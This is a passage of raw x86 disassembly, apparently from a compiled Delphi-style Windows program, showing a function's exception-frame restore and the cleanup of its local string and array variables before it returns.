call fcn.00409df0
mov edx, dword [ebp - 0xa2c]
lea eax, [ebp - 0xa28]
call fcn.00404e18
mov eax, dword [ebp - 0xa28]
push eax
mov edx, dword [0x530810]
mov edx, dword [edx]
lea eax, [ebp - 0xa34]
mov ecx, 0x4d9be0
call fcn.00404860
mov edx, dword [ebp - 0xa34]
lea eax, [ebp - 0xa30]
call fcn.00404e18
mov eax, dword [ebp - 0xa30]
xor edx, edx
pop ecx
call fcn.0046d18c
xor eax, eax
mov dword [0x52eed8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d9962
lea eax, [ebp - 0xa34]
call fcn.0040455c
lea eax, [ebp - 0xa30]
call fcn.00404c78
lea eax, [ebp - 0xa2c]
call fcn.0040455c
lea eax, [ebp - 0xa28]
call fcn.00404c78
lea eax, [ebp - 0xa24]
call fcn.0040455c
lea eax, [ebp - 0xa20]
call fcn.00404c78
lea eax, [ebp - 0xa1c]
call fcn.0040455c
lea eax, [ebp - 0xa18]
mov edx, 3
call fcn.00404c90
lea eax, [ebp - 0xa0c]
call fcn.0040455c
lea eax, [ebp - 0xa08]
mov edx, 3
call fcn.00404c90
lea eax, [ebp - 0x9fc]
call fcn.0040455c
lea eax, [ebp - 0x9f8]
mov edx, 3
call fcn.00404c90
lea eax, [ebp - 0x9ec]
mov edx, 5
call fcn.00404580
lea eax, [ebp - 0x9d8]
mov edx, 3
call fcn.00404c90
lea eax, [ebp - 0x9cc]
call fcn.0040455c
lea eax, [ebp - 0x9c8]
mov edx, 2
call fcn.00404c90
lea eax, [ebp - 0x9c0]
call fcn.0040455c
lea eax, [ebp - 0x9bc]
mov edx, 3
call fcn.00404c90
lea eax, [ebp - 0x9b0]
call fcn.0040455c
lea eax, [ebp - 0x9ac]
mov edx, 3
call fcn.00404c90
lea eax, [ebp - 0x9a0]
call fcn.0040455c
lea eax, [ebp - 0x99c]
call fcn.00404c78
lea eax, [ebp - 0x998]
mov edx, 2
call fcn.00404580
lea eax, [ebp - 0x990]
call fcn.00404c78
lea eax, [ebp - 0x98c]
mov edx, 0xb
call fcn.00404580
lea eax, [ebp - 0x960]
call fcn.00404c78
lea eax, [ebp - 0x95c]
mov edx, 6
call fcn.00404580
lea eax, [ebp - 0x944]
call fcn.00404c78
lea eax, [ebp - 0x940]
mov edx, 9
call fcn.00404580
lea eax, [ebp - 0x91c]
mov edx, 2
call fcn.00404c90
lea eax, [ebp - 0x914]
mov edx, 9
call fcn.00404580
lea eax, [ebp - 0x8f0]
call fcn.00404c78
lea eax, [ebp - 0x8ec]
mov edx, 4
call fcn.00404580
lea eax, [ebp - 0x8dc]
call fcn.00404c78
lea eax, [ebp - 0x8d8]
call fcn.0040455c
lea eax, [ebp - 0x8d4]
call fcn.00404c78
lea eax, [ebp - 0x8d0]
mov edx, 3
call fcn.00404580
lea eax, [ebp - 0x8c4]
call fcn.00404c78
lea eax, [ebp - 0x8c0]
mov edx, 3
call fcn.00404580
lea eax, [ebp - 0x3c]
mov edx, 3
call fcn.00404580
lea eax, [ebp - 0x19]
mov edx, dword [0x4eafac]
call fcn.004052d0
lea eax, [ebp - 0xf0]
mov edx, 7
call fcn.00404580
lea eax, [ebp - 0xd0]
mov edx, 2
call fcn.00404580
lea eax, [ebp - 0xc0]
call fcn.0040455c
lea eax, [ebp - 0xbc]
mov edx, 2
call fcn.00404c90
lea eax, [ebp - 0x9c]
call fcn.0040455c
lea eax, [ebp - 0x88]
call fcn.0040455c
lea eax, [ebp - 0x78]
mov edx, 2
call fcn.00404580
lea eax, [ebp - 0x6c]
call fcn.0040455c
lea eax, [ebp - 0x64]
mov edx, 4
call fcn.00404580
ret